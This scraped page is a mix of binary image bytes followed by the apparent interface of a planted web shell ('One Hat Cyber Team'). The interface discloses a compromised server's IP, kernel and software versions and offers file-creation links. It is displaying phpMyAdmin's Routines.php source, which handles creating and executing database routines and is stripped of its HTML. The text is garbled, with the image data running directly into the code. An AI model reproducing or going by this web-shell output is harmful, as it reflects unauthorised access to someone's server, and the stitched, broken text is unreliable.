JFIF  H H (ICC_PROFILE   0 mntrRGB XYZ acsp   - desc trXYZ d gXYZ x bXYZ  rTRC  (gTRC  (bTRC  (wtpt  cprt  ب V 7eud akt !Q ,*R G PQ NČzŬb 56 6 6p z  "c8 3' 'Mq 6 G i t q l@ 9 0.ۚA c N|li: 9 蠃p / ^ Zn L  x84 v ;[#$ n h '  c 3 2o 8Ɛ5K Av*_ ?n X ?  p y ֆ ̈́# z 2 3 F0O e> { Gu . V (C ' h/ o%> x1X r:(>} { yc X 8b ] U : dO Ms VA p 'Z 3'3E - y bj: > j Ov Uw # 2cl~ @gF C jț bz ^: -t df j{XTh  8aU  M ^+d Al "(KK m1$$ X K K q rž o q g V FF#pG~ : ] ֦ !!Ң :pC+ A  zӬ ]. t `= ' h _/ }   @L \ , x㌼ z԰+ J - v + Y  [ '8 '  % X q= [4 Sj~ 4 ݢ # d ʂē R L5k X؊  > l :t\ ba B A\Q3 8 ( < A ; d ) n ӓLr Œ * |J : Ƒ 2rF G A 8 &\ A - J) /j `t.  E  A : T m "%Cb"! 7 wΦ Æ % ; [ ] U zmF kx + 7 ^ Ү R  "7 N+- b7 c ,.55 H T E`) P T ci 20y=MڭyٽS Odc i UJnq&~zn$ Rp )fG' 2 '  . mEϙ Z oV 𶛒u S ] | A @. )<  + '> ө :& $ ' L #   d{q H >*5; jDo ˷ Y m Ԉ*[9* 5 t Uf %3 = GU W\ ' AR _ W 4 _ P պ - | 4R F  JZ v0 d[ˠzJ| PU 8 ;鯌 ' V  cL , κ >   *e b)f, 0 "j1  1 v՘; b J ++ C Oz7 % > N U ,=z \ c EV K >Ic 7} . jHn;^觱GHI  H V ǂO: ߊ{mSV?K|@ A iA T`2 j 1 ~ K8’$ ~]=9ឦG * 9 E Mּm5X f 9 Q ĸ}i D% +t+;F : v : - & h _ rD | !  Ә ;Z l 븂' : C & Ҁae Kkm6 uT".}J&\ hci B2B + T 7 t?EPþЌ m A F\ l c2 ЊABm E,cն\Q J ]d 5  `O  Y@ 8 ?lx#  K iI& Ri1f R2f1N %_ g *T Ө ??N: }+ל ɀ h٭ q L ,ʈ B r c  u  Bmz  ̢TV^  뙏8' u fUX 3㓏 >NG : / ; H p饕 B 1 K  /%iɫ V Q% : _ - 1o L ? R oa\i^ F| W*Na)  P  X #y㯨 z+C ح\  в j i rm *d W ҡQb BȨ i'% NEb ? '[ h =`Oi U϶ u n R }GW 4f VJm  i R ~ J|l%m' % " LW  V 2 7 Ns X b ?_ = {s }ij4 Ý=SN jx FV "ԎI( E  )] ӝ Ж m [4 m `5 -7W f 󪥎 b Z K a#Vb% K Y 5 T $y` 4 6 ̼ p C 7 HM 'l{Oi + Pw~j,S5T4(F Ԩ; A `*HJ TP g t (6/ cg 5 U 1@Qb8 Y!  r < r 6h ) [{h h 8 3  0< y+V >BzOQ KF+6 v %= ~XD PpW c _-:߈   #c 坣 C W1 : ^ Q 06Ӭ q@ Dj $ UW $ ?9 F \cS M5 = 2> hב\,( ) JB k ; J #j徻W (p= o Q D #U Mh U *F  c ?N = n F5 Ӑ12 w 0 5Z 뀩4ڣ 霅 uC1 y %n J 8Ԑ *c r R 9W= H 9 , A ׻, . ZF b QEGVNs, q ' ;O Mm btN Vq Ow*֙kPѬ؈ X J  I ӯ E Wo k + R { %   j;   Y x 7&& , LԜ Y bw" lI (* `۹F A S - #$ 4 13)Q pڤ3Rx O J $c P]v i uq { k y N. - B ,@󪳪ڸ Ao  r% X0 U N b  9 򍕑 7)* 23 3 | Rn b @ q |E U y ́$!7 & ["X O y  ~ƓtADhP  ] m G 파 9 p= ԜZ]ӭ ሎ O eyq ! b I GU : 5~ F o L S T[е $]$g * w] ! ; m@ ޠ &IU ڬ{ ҄բ-.Sm Ғ `    vU"o L ; ' 5s " W )  @ ä  L 1i  } ^Y5 $+ P  v0o  HU @ȓ s Q M )  ? M\ 4 Q  $2 ;g  WJ /NwF JG D : y ό  Mf  W!  QUZ%a zҳ  DK _ X h M ^r ԝ^!d '<#ﴛ O { /F ? + $ Y ' wg'$ l  jG AH 7l 4   x Ѷ c }  I *e s g ~ ;ͤ t@  B 2 iB' 9C a 8 f TR: %  N O  @ m 3 s v w .@ 濾   ,FYrT0m UW _v>>d [ A 6 ڊx : Y T L Hv Ӻ! n S D} >[m E T0 _ ,'C] p  j  V ᅷ PDZ[- V0`  > } ܟpmֻ 2O6 O* ݹ X HS N(J / +1՟ #( P *g EO # w&j 6 ?; ڡ )+ U ]l \ /{莄 * I /  9 <'$ '#' y t/& -\\WP L`/p9 q  a' e ¨ E] f A A E Y nGtm, ϮwXT >AaN#  F j  ŵj Q Fd  q^< H? y J ܃2 * 3 T4 Ч H **W; (ꭽ ¾ P f= e yA 4 FJ 6{e ]J q OC  f#3 S J f i MM\ i T $ rG 8$ 9>2 :  M) Q #N K e &" E 8    . z <  mHk ? # t ˒ A ]; G0H : f! i ! j { 1 m } o 7 u; $   99Ӱ \n c z:zA Lq ޶w y K  T<  4 X, '!Y; Ͱ6 q G M~_ ~܂} t> ( z l }:r  L 9 fe}.- R*<`c6 o ܛ= pr ҽGB)nQ% )s*&i΍ %—Zb{ m[ N Nkb wB w Q* d F HP iܛ ; aV68j}\e I  GI'͔B ;yA  :^ bn - m # @ S6 ˎr  ; ~ cm ƻgU  : X6 G % < r ' dzX^} - H X D -C W`#  کpNH5 E y = 1 G # 꽁  C 5Yx z Y_"& A * C +q7Km 1Pm @in 88  N ^c.d p >[ g c {]c 4 ) f psgY ˅ > *"1 }2<1 7  5)] V5)kd kM ~` ΂  :{ 4  nG PTT b   뎱 ϶w FFᓂG8 >z F _ H  9_r D l: ҶH5  Z!Bj.y k} e rb:SOT ]!ǎ?n:H ε Z s y z tn [ 7N  Z#UQO$ . J #]Cr# Y X  9 c < '$ z 9  . $ $P nDS n 2 u5 X g\  ? |A  ᬰⶵ >> bE) Cb  -ruMc ׺ *,\)`^ m ge \k . ۫8  گ oK 1 gWM p U޻zI=EE rz: # 6 - -/ Wm \z8 מ 0x t A _c ?Ծ  c ^Mژ I MyO> l0 ċ }t7[ \ ʲ9̜ m_a[ 姯 rְ j P \k x 1 ' Cdm vF70e +  m- ]a ?ݝK uSMUm 8f Yb! ) 2Z.U  D \~: ܽ8z R ̪K c b s  &ߦ  1 $ , w \gc  3F$  iU#< ` : I 4{w . 2  a Q $ EX < p} x>N o?Gm N N rE $#J n҉ ! A H'< w  i i͗k ;  S;(PY y, | v G!H $ 4 ƴ @  V !қ 7  $ { O y W SY : I doI 5b _ s G q $ qIOg - B H]_ V  G  ! w0 p$    n U #ROMB $Zn: BD U KE 4 ec q } 3 ^  n BZ j b W  `l  Z d " " b ]nm!ij. {&*   F O? c u ]  u VQbj: J B .Xg J Fsq d祚N x ʣR ;! $ : F cU $R1- K 'ɋ I x8 Ϗoߠ F~ z " _^v 2 - f K  kW8 c . Ms- 6 =eV = ev \  L = g n22p< ׵?r Fۏ >z eP z Rog 8u ( tJ P߁ Z .p Ð ͢A ռ65 X syvm 6R W7W ; |0 >O үG @ ٳ< > om Լ()  kZJlK, F 4 )sn  O Q {u㌏ = A o  ,ծ ?eKB zG 6e6  f| C U _ 4 C[j͕M 8,%em M 8 \ c v COwTGi _9 4 BDf%  'ns 8 M P c  & - y"8R _j 3a +z+ N 9 Q lDQ 40 E V ۋ rH 2 I _ Y O ',:뿉 WN Hvﵐ0 B}n a*E zUb N# 0 e" f.Q  H  5" - H Vn= + #  Eiy- v8= g  `  o [ 鼛 2 . D ^ Q  eB  ؅q Ͽ R C~ B+J ۍ 8 4 * Ӗ Ν1 R B  I\  1[0 I 9y )  Y " 7 ]6 q g\ vP   s = Ѭ֕)פ  E < c` ϷU9 W ,: ? y 1h s U( T g e /룮 J A ]|   4a ZV AI eIhBI! l $ 3![q Hnw\7R { o M / ִ > 5&  gw j F E dc@K:V& W /k + = Y k[ @fU 5 zzmF ȖH,[  n -dc  w d[ z" g 4 ϘR r 0`B 8_; # $^Z  o5K ZYKj GY% s  "!a [9I2TF -  w# a ] ˒  I tٮ ei_ F pVЧ૱W 3e Ci 7 " } H  A pG> h  ֝ 5i T٧- ' `d X1   AF$ $< y  9~ , n  e boW >ޙ_ Z]ڷ T C U y J  G O }   > A" 5 a> Z U R - Z \9 jrW ݖQ Rݳ * ļ ] $ڵ Xq = / w z\ I  I # { ӭ l ^; F_R쵎 [ָ[gK KͰ o Q )W녕 і s *kuz ŨQde` WU_ KLE ~" g r< 2G y  އ L ( -V Y -Z( I U  0  | \ ; 8 C  m hl :̄D  k YHO k |:  *D Y ts س | zrO; 񍃌s T3 1 = j w y Ш ^nZ H m _G̮ 0W  󿓹 S ;  _$ mٛI D V =f -H } U  ]H A * vԶ  3\ Wh*I#$ @6  x ^ O Z C&J U 16 X D* if& B DGFY YP [KL X u X .Z h q Ghb  8 M# Mq t \c > aT 00= ㎨ʕ G Q Ԫ R ,Ĝ I9 zӦ JO 3Rn ` C 5 ܊@Q O1 N.ؔ"I\ YÖ Đ H d L \}IP~jm $ y ; :ZG  ZV Jv =&*UF#` `R`*S+p \=) ҭ 9 k  ̮Rš x 0' **ԑL kɺk +zJb # :|M Z ? j$ݼ & X )$ 6 F Y6ѕ/  ;  J *n l C *ų_ ԕ{ _ 6 :\47ڷ s 4R m Ċ = z * ʪ XT [ ] 5 Bl#a -˙bv 8 @ H   |R we9A%5& M % Z02T N)&&GfM 儀o Œ M ;= ./ /k~ E"a9/3 y ,> l j >  Z X y &ε Y P &h g e c< `` ] !}i'c KQ ulF Iʓ_\T58 ( +cJ q~ [d gm m/` Xڙ ht k q ו$ " c[P VY [uɜ&# 몵 "  Ⱦ qC  " Ü Ȕ!  <  M j8 u- d x * g ϫ t T Ld K laWڭ  \ ~ |  7 u` h( w ֋ c L= ˼ = F  vcG s } зU BS М; FI;  Q $8 +V|[C S 쮙 1 % YP Q% L VVK+& , c Ib ]  Vy i ~h  ?y F4  "5 A s- F ݆x5 5P&E :W@f;}  G y ^ ]U ITki 1 d﫠 *c N h ' c ؗY n s L :b  ? H :k M~ @ 8# I qɔ ~ :f ] P*i]H 'f jhx Tҗ 1 O : ^t $ 1]  UXz&  t OD T > (^ s &3 #N_ / x - 䬦? ~ v U- W$4  ' ӎ v RG |jy SW? u 4 ( 1 G[ ِ2 2jʎ hr m oյ ش gRͮ%ϟ Ѭ 9 o R  n-  &F - @  hgY _qN ;"2  !K J  šA ^, " aG 8` =1 4 =5 Mq k > U@UT  : R gj rK F. O$ I9'  =i }. _ One Hat Cyber Team
  • Your IP: 216.73.216.6
  • Server IP: 13.234.148.13
  • Server: Linux ip-172-31-36-101 5.15.0-1031-aws #35~20.04.1-Ubuntu SMP Sat Feb 11 16:19:06 UTC 2023 x86_64
  • Server Software: Apache/2.4.41 (Ubuntu)
  • PHP Version: 7.4.3-4ubuntu2.29
  • Buat File | Buat Folder
View File Name : Routines.php
"; $retval .= ""; $retval .= ""; $retval .= " " . __('Is deterministic') . ""; $retval .= " "; $retval .= ""; if (isset($_REQUEST['edit_item']) && ! empty($_REQUEST['edit_item']) ) { $retval .= ""; $retval .= " " . __('Adjust privileges'); $retval .= Util::showDocu('faq', 'faq6-39'); $retval .= ""; if ($GLOBALS['proc_priv'] && $GLOBALS['is_reload_priv'] ) { $retval .= " "; } else { $retval .= " "; } $retval .= ""; } $retval .= ""; $retval .= " " . __('Definer') . ""; $retval .= " "; $retval .= ""; $retval .= ""; $retval .= " " . __('Security type') . ""; $retval .= " "; $retval .= ""; $retval .= ""; $retval .= " " . __('SQL data access') . ""; $retval .= " "; $retval .= ""; $retval .= ""; $retval .= " " . __('Comment') . ""; $retval .= " "; $retval .= ""; $retval .= ""; $retval .= ""; if ($response->isAjax()) { $retval .= ""; $retval .= ""; } $retval .= ""; $retval .= ""; return $retval; } // end self::getEditorForm() /** * Composes the query necessary to create a routine from an HTTP request. * * @return string The CREATE [ROUTINE | PROCEDURE] query. */ public static function getQueryFromRequest() { global $_REQUEST, $errors, $param_sqldataaccess, $param_directions, $dbi; $_POST['item_type'] = isset($_POST['item_type']) ? $_POST['item_type'] : ''; $query = 'CREATE '; if (! empty($_POST['item_definer'])) { if (mb_strpos($_POST['item_definer'], '@') !== false) { $arr = explode('@', $_POST['item_definer']); $do_backquote = true; if (substr($arr[0], 0, 1) === "`" && substr($arr[0], -1) === "`" ) { $do_backquote = false; } $query .= 'DEFINER=' . Util::backquote($arr[0], $do_backquote); $do_backquote = true; if (substr($arr[1], 0, 1) === "`" && substr($arr[1], -1) === "`" ) { $do_backquote = false; } $query .= '@' . Util::backquote($arr[1], $do_backquote) . ' '; } else { $errors[] = __('The definer must be in the "username@hostname" format!'); } } if ($_POST['item_type'] == 'FUNCTION' || $_POST['item_type'] == 'PROCEDURE' ) { $query .= $_POST['item_type'] . ' '; } else { $errors[] = sprintf( __('Invalid routine type: "%s"'), htmlspecialchars($_POST['item_type']) ); } if (! empty($_POST['item_name'])) { $query .= Util::backquote($_POST['item_name']); } else { $errors[] = __('You must provide a routine name!'); } $params = ''; $warned_about_dir = false; $warned_about_length = false; if (! empty($_POST['item_param_name']) && ! empty($_POST['item_param_type']) && ! empty($_POST['item_param_length']) && is_array($_POST['item_param_name']) && is_array($_POST['item_param_type']) && is_array($_POST['item_param_length']) ) { $item_param_name = $_POST['item_param_name']; $item_param_type = $_POST['item_param_type']; $item_param_length = $_POST['item_param_length']; for ($i=0, $nb = count($item_param_name); $i < $nb; $i++) { if (! empty($item_param_name[$i]) && ! empty($item_param_type[$i]) ) { if ($_POST['item_type'] == 'PROCEDURE' && ! empty($_POST['item_param_dir'][$i]) && in_array($_POST['item_param_dir'][$i], $param_directions) ) { $params .= $_POST['item_param_dir'][$i] . " " . Util::backquote($item_param_name[$i]) . " " . $item_param_type[$i]; } elseif ($_POST['item_type'] == 'FUNCTION') { $params .= Util::backquote($item_param_name[$i]) . " " . $item_param_type[$i]; } elseif (! $warned_about_dir) { $warned_about_dir = true; $errors[] = sprintf( __('Invalid direction "%s" given for parameter.'), htmlspecialchars($_POST['item_param_dir'][$i]) ); } if ($item_param_length[$i] != '' && !preg_match( '@^(DATE|TINYBLOB|TINYTEXT|BLOB|TEXT|' . 'MEDIUMBLOB|MEDIUMTEXT|LONGBLOB|LONGTEXT|' . 'SERIAL|BOOLEAN)$@i', $item_param_type[$i] ) ) { $params .= "(" . $item_param_length[$i] . ")"; } elseif ($item_param_length[$i] == '' && preg_match( '@^(ENUM|SET|VARCHAR|VARBINARY)$@i', $item_param_type[$i] ) ) { if (! $warned_about_length) { $warned_about_length = true; $errors[] = __( 'You must provide length/values for routine parameters' . ' of type ENUM, SET, VARCHAR and VARBINARY.' ); } } if (! empty($_POST['item_param_opts_text'][$i])) { if ($dbi->types->getTypeClass($item_param_type[$i]) == 'CHAR') { if(! in_array($item_param_type[$i], array('VARBINARY', 'BINARY'))) { $params .= ' CHARSET ' . mb_strtolower( $_POST['item_param_opts_text'][$i] ); } } } if (! empty($_POST['item_param_opts_num'][$i])) { if ($dbi->types->getTypeClass($item_param_type[$i]) == 'NUMBER') { $params .= ' ' . mb_strtoupper( $_POST['item_param_opts_num'][$i] ); } } if ($i != (count($item_param_name) - 1)) { $params .= ", "; } } else { $errors[] = __( 'You must provide a name and a type for each routine parameter.' ); break; } } } $query .= "(" . $params . ") "; if ($_POST['item_type'] == 'FUNCTION') { $item_returntype = isset($_POST['item_returntype']) ? $_POST['item_returntype'] : null; if (! empty($item_returntype) && in_array( $item_returntype, Util::getSupportedDatatypes() ) ) { $query .= "RETURNS " . $item_returntype; } else { $errors[] = __('You must provide a valid return type for the routine.'); } if (! empty($_POST['item_returnlength']) && !preg_match( '@^(DATE|DATETIME|TIME|TINYBLOB|TINYTEXT|BLOB|TEXT|' . 'MEDIUMBLOB|MEDIUMTEXT|LONGBLOB|LONGTEXT|SERIAL|BOOLEAN)$@i', $item_returntype ) ) { $query .= "(" . $_POST['item_returnlength'] . ")"; } elseif (empty($_POST['item_returnlength']) && preg_match( '@^(ENUM|SET|VARCHAR|VARBINARY)$@i', $item_returntype ) ) { if (! $warned_about_length) { $errors[] = __( 'You must provide length/values for routine parameters' . ' of type ENUM, SET, VARCHAR and VARBINARY.' ); } } if (! empty($_POST['item_returnopts_text'])) { if ($dbi->types->getTypeClass($item_returntype) == 'CHAR') { $query .= ' CHARSET ' . mb_strtolower($_POST['item_returnopts_text']); } } if (! empty($_POST['item_returnopts_num'])) { if ($dbi->types->getTypeClass($item_returntype) == 'NUMBER') { $query .= ' ' . mb_strtoupper($_POST['item_returnopts_num']); } } $query .= ' '; } if (! empty($_POST['item_comment'])) { $query .= "COMMENT '" . $GLOBALS['dbi']->escapeString($_POST['item_comment']) . "' "; } if (isset($_POST['item_isdeterministic'])) { $query .= 'DETERMINISTIC '; } else { $query .= 'NOT DETERMINISTIC '; } if (! empty($_POST['item_sqldataaccess']) && in_array($_POST['item_sqldataaccess'], $param_sqldataaccess) ) { $query .= $_POST['item_sqldataaccess'] . ' '; } if (! empty($_POST['item_securitytype'])) { if ($_POST['item_securitytype'] == 'DEFINER' || $_POST['item_securitytype'] == 'INVOKER' ) { $query .= 'SQL SECURITY ' . $_POST['item_securitytype'] . ' '; } } if (! empty($_POST['item_definition'])) { $query .= $_POST['item_definition']; } else { $errors[] = __('You must provide a routine definition.'); } return $query; } // end self::getQueryFromRequest() /** * Handles requests for executing a routine * * @return void */ public static function handleExecute() { global $_GET, $_POST, $_REQUEST, $GLOBALS, $db; $response = Response::getInstance(); /** * Handle all user requests other than the default of listing routines */ if (! empty($_POST['execute_routine']) && ! empty($_POST['item_name'])) { // Build the queries $routine = self::getDataFromName( $_POST['item_name'], $_POST['item_type'], false ); if ($routine === false) { $message = __('Error in processing request:') . ' '; $message .= sprintf( Words::get('not_found'), htmlspecialchars(Util::backquote($_POST['item_name'])), htmlspecialchars(Util::backquote($db)) ); $message = Message::error($message); if ($response->isAjax()) { $response->setRequestStatus(false); $response->addJSON('message', $message); exit; } else { echo $message->getDisplay(); unset($_POST); } } $queries = array(); $end_query = array(); $args = array(); $all_functions = $GLOBALS['dbi']->types->getAllFunctions(); for ($i = 0; $i < $routine['item_num_params']; $i++) { if (isset($_POST['params'][$routine['item_param_name'][$i]])) { $value = $_POST['params'][$routine['item_param_name'][$i]]; if (is_array($value)) { // is SET type $value = implode(',', $value); } $value = $GLOBALS['dbi']->escapeString($value); if (! empty($_POST['funcs'][$routine['item_param_name'][$i]]) && in_array( $_POST['funcs'][$routine['item_param_name'][$i]], $all_functions ) ) { $queries[] = "SET @p$i=" . $_POST['funcs'][$routine['item_param_name'][$i]] . "('$value');\n"; } else { $queries[] = "SET @p$i='$value';\n"; } $args[] = "@p$i"; } else { $args[] = "@p$i"; } if ($routine['item_type'] == 'PROCEDURE') { if ($routine['item_param_dir'][$i] == 'OUT' || $routine['item_param_dir'][$i] == 'INOUT' ) { $end_query[] = "@p$i AS " . Util::backquote($routine['item_param_name'][$i]); } } } if ($routine['item_type'] == 'PROCEDURE') { $queries[] = "CALL " . Util::backquote($routine['item_name']) . "(" . implode(', ', $args) . ");\n"; if (count($end_query)) { $queries[] = "SELECT " . implode(', ', $end_query) . ";\n"; } } else { $queries[] = "SELECT " . Util::backquote($routine['item_name']) . "(" . implode(', ', $args) . ") " . "AS " . Util::backquote($routine['item_name']) . ";\n"; } // Get all the queries as one SQL statement $multiple_query = implode("", $queries); $outcome = true; $affected = 0; // Execute query if (! $GLOBALS['dbi']->tryMultiQuery($multiple_query)) { $outcome = false; } // Generate output if ($outcome) { // Pass the SQL queries through the "pretty printer" $output = Util::formatSql(implode($queries, "\n")); // Display results $output .= "
"; $output .= sprintf( __('Execution results of routine %s'), Util::backquote(htmlspecialchars($routine['item_name'])) ); $output .= ""; $nbResultsetToDisplay = 0; do { $result = $GLOBALS['dbi']->storeResult(); $num_rows = $GLOBALS['dbi']->numRows($result); if (($result !== false) && ($num_rows > 0)) { $output .= ""; foreach ($GLOBALS['dbi']->getFieldsMeta($result) as $field) { $output .= ""; } $output .= ""; while ($row = $GLOBALS['dbi']->fetchAssoc($result)) { $output .= "" . self::browseRow($row) . ""; } $output .= "
"; $output .= htmlspecialchars($field->name); $output .= "
"; $nbResultsetToDisplay++; $affected = $num_rows; } if (! $GLOBALS['dbi']->moreResults()) { break; } $output .= "
"; $GLOBALS['dbi']->freeResult($result); } while ($outcome = $GLOBALS['dbi']->nextResult()); } if ($outcome) { $output .= "
"; $message = __('Your SQL query has been executed successfully.'); if ($routine['item_type'] == 'PROCEDURE') { $message .= '
'; // TODO : message need to be modified according to the // output from the routine $message .= sprintf( _ngettext( '%d row affected by the last statement inside the ' . 'procedure.', '%d rows affected by the last statement inside the ' . 'procedure.', $affected ), $affected ); } $message = Message::success($message); if ($nbResultsetToDisplay == 0) { $notice = __( 'MySQL returned an empty result set (i.e. zero rows).' ); $output .= Message::notice($notice)->getDisplay(); } } else { $output = ''; $message = Message::error( sprintf( __('The following query has failed: "%s"'), htmlspecialchars($multiple_query) ) . '

' . __('MySQL said: ') . $GLOBALS['dbi']->getError() ); } // Print/send output if ($response->isAjax()) { $response->setRequestStatus($message->isSuccess()); $response->addJSON('message', $message->getDisplay() . $output); $response->addJSON('dialog', false); exit; } else { echo $message->getDisplay() , $output; if ($message->isError()) { // At least one query has failed, so shouldn't // execute any more queries, so we quit. exit; } unset($_POST); // Now deliberately fall through to displaying the routines list } return; } elseif (! empty($_GET['execute_dialog']) && ! empty($_GET['item_name'])) { /** * Display the execute form for a routine. */ $routine = self::getDataFromName( $_GET['item_name'], $_GET['item_type'], true ); if ($routine !== false) { $form = self::getExecuteForm($routine); if ($response->isAjax()) { $title = __("Execute routine") . " " . Util::backquote( htmlentities($_GET['item_name'], ENT_QUOTES) ); $response->addJSON('message', $form); $response->addJSON('title', $title); $response->addJSON('dialog', true); } else { echo "\n\n

" . __("Execute routine") . "

\n\n"; echo $form; } exit; } elseif (($response->isAjax())) { $message = __('Error in processing request:') . ' '; $message .= sprintf( Words::get('not_found'), htmlspecialchars(Util::backquote($_GET['item_name'])), htmlspecialchars(Util::backquote($db)) ); $message = Message::error($message); $response->setRequestStatus(false); $response->addJSON('message', $message); exit; } } } /** * Browse row array * * @param array $row Columns * * @return string */ private static function browseRow(array $row) { $output = null; foreach ($row as $value) { if ($value === null) { $value = 'NULL'; } else { $value = htmlspecialchars($value); } $output .= "" . $value . ""; } return $output; } /** * Creates the HTML code that shows the routine execution dialog. * * @param array $routine Data for the routine returned by * self::getDataFromName() * * @return string HTML code for the routine execution dialog. */ public static function getExecuteForm(array $routine) { global $db, $cfg; $response = Response::getInstance(); // Escape special characters $routine['item_name'] = htmlentities($routine['item_name'], ENT_QUOTES); for ($i = 0; $i < $routine['item_num_params']; $i++) { $routine['item_param_name'][$i] = htmlentities( $routine['item_param_name'][$i], ENT_QUOTES ); } // Create the output $retval = ""; $retval .= "\n\n"; $retval .= "
isAjax()) { $retval .= "{$routine['item_name']}\n"; $retval .= "\n"; $retval .= "\n"; } else { $retval .= "" . __('Routine parameters') . "\n"; $retval .= "
\n"; $retval .= __('Routine parameters'); $retval .= "
\n"; } $retval .= "\n"; $retval .= "\n"; $retval .= "\n"; if ($cfg['ShowFunctionFields']) { $retval .= "\n"; } $retval .= "\n"; $retval .= "\n"; // Get a list of data types that are not yet supported. $no_support_types = Util::unsupportedDatatypes(); for ($i = 0; $i < $routine['item_num_params']; $i++) { // Each parameter if ($routine['item_type'] == 'PROCEDURE' && $routine['item_param_dir'][$i] == 'OUT' ) { continue; } $retval .= "\n\n"; $retval .= "\n"; $retval .= "\n"; if ($cfg['ShowFunctionFields']) { $retval .= "\n"; } // Append a class to date/time fields so that // jQuery can attach a datepicker to them $class = ''; if ($routine['item_param_type'][$i] == 'DATETIME' || $routine['item_param_type'][$i] == 'TIMESTAMP' ) { $class = 'datetimefield'; } elseif ($routine['item_param_type'][$i] == 'DATE') { $class = 'datefield'; } $retval .= "\n"; $retval .= "\n"; } $retval .= "\n
" . __('Name') . "" . __('Type') . "" . __('Function') . "" . __('Value') . "
{$routine['item_param_name'][$i]}{$routine['item_param_type'][$i]}\n"; if (stristr($routine['item_param_type'][$i], 'enum') || stristr($routine['item_param_type'][$i], 'set') || in_array( mb_strtolower($routine['item_param_type'][$i]), $no_support_types ) ) { $retval .= "--\n"; } else { $field = array( 'True_Type' => mb_strtolower( $routine['item_param_type'][$i] ), 'Type' => '', 'Key' => '', 'Field' => '', 'Default' => '', 'first_timestamp' => false ); $retval .= ""; } $retval .= "\n"; if (in_array($routine['item_param_type'][$i], array('ENUM', 'SET'))) { if ($routine['item_param_type'][$i] == 'ENUM') { $input_type = 'radio'; } else { $input_type = 'checkbox'; } foreach ($routine['item_param_length_arr'][$i] as $value) { $value = htmlentities(Util::unquote($value), ENT_QUOTES); $retval .= "" . $value . "
\n"; } } elseif (in_array( mb_strtolower($routine['item_param_type'][$i]), $no_support_types )) { $retval .= "\n"; } else { $retval .= "\n"; } $retval .= "
\n"; if (! $response->isAjax()) { $retval .= "\n\n"; $retval .= "
\n"; $retval .= " \n"; $retval .= "
\n"; } else { $retval .= ""; $retval .= ""; } $retval .= "
\n\n"; $retval .= "\n\n"; return $retval; } // end self::getExecuteForm() }